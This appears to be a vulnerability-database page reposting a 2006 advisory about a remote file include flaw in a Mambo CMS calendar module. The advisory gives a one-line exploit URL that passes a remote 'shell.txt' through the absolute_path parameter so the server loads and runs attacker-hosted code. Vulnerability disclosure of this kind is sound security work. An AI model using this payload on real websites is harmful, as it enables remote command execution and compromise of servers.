Lucene search

K

agenda.txt

🗓️ 27 Aug 2006 00:00:00Reported by jank0Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

A complete calendar solution with component and module part for mambo cms, has a remote file include vulnerability allowing remote attackers to execute commands via RFI

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`####################################################################################  
#Agenda - Remote File Include  
------------------------------------------------------------------------------------  
Description:   
A complete calendar solution with component and module part for mambo cms. The issue  
is at the calendar module.  
#####################  
#Bug Found by: jank0  
#greetz: hackbsd crew  
#risk: dangerous  
##this bug allows a remote atacker to execute commands via rfi  
  
/path: ?absolute_path=  
  
/xpl:  
http://web/modules/mod_calendar.php?absolute_path=http://shell.txt  
  
  
#Contact: irc.undernet.org #hackbsd & #ircmasters`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
27 Aug 2006 00:00Current
7.4High risk
Vulners AI Score7.4
25
.json
Report